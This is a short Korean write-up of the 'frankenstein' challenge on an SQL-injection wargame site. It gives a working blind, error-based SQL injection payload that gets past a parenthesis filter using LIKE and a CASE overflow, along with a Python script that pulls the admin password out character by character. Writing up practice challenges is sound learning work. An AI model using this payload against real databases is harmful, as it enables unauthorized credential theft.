frankenstein
UNION 절을 사용할 수 없기 때문에 WHERE 절에 임의의 쿼리문을 삽입해서 admin 계정의 패스워드를 추출해야 한다.
if(mysqli_error($db)) exit("error"); 부분을 보면 에러 발생 시 “error” 응답을 출력하고 있다.
따라서, 이 문제는 쿼리 실행 시 오류가 발생할 때와 정상 실행될 때의 응답 값 차이를 기반으로 풀어야 할 듯 하다.

다른 문제들처럼 LENGTH(), SUBSTR(), ASCIII(), ORD() 등의 함수 사용이 가능하면 수월하겠지만
( 문자 혹은 ) 문자가 사용자 입력 값에 포함되는 순간 "No Hack ~_~" 메시지를 출력한다.
그럼 어떻게 admin 계정의 패스워드 값을 추출할 수 있을까..
MySQL에서는 REGEXP과 LIKE 절을 이용하여 테이블에 저장된 값이 특정 값과 매칭되는지 비교해볼 수 있다.
이번 문제에서는 LIKE 절을 이용해서 admin 계정의 패스워드를 1글자씩 추출했다.
자동화 스크립트는 다음과 같다.
import requests
import string
t_url = 'https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
charset = string.digits + string.ascii_lowercase + string.ascii_uppercase
password = ''
for i in range(1, 32):
for c in charset:
payload = ( f"?pw=%27%20OR%20CASE%20WHEN%20id=%27admin%27%20AND%20pw%20LIKE%20%27{password}{c}%25%27%20THEN%209e307*10%20ELSE%200%20END%23" )
r = requests.get(t_url + payload, cookies=cookie)
if (int(r.headers['content-length']) < 200):
password += c
print(f"EXTRACTED ADMIN's PASSWORD: {password}")추출한 패스워드를 같이 입력해주면 문제풀이 성공이다.
(단, MySQL 에서는 대소문자 구분하지 않으므로 패스워드는 0dC4efBb 로 추출됐다.)

🐛.. 🐛.. 🐛..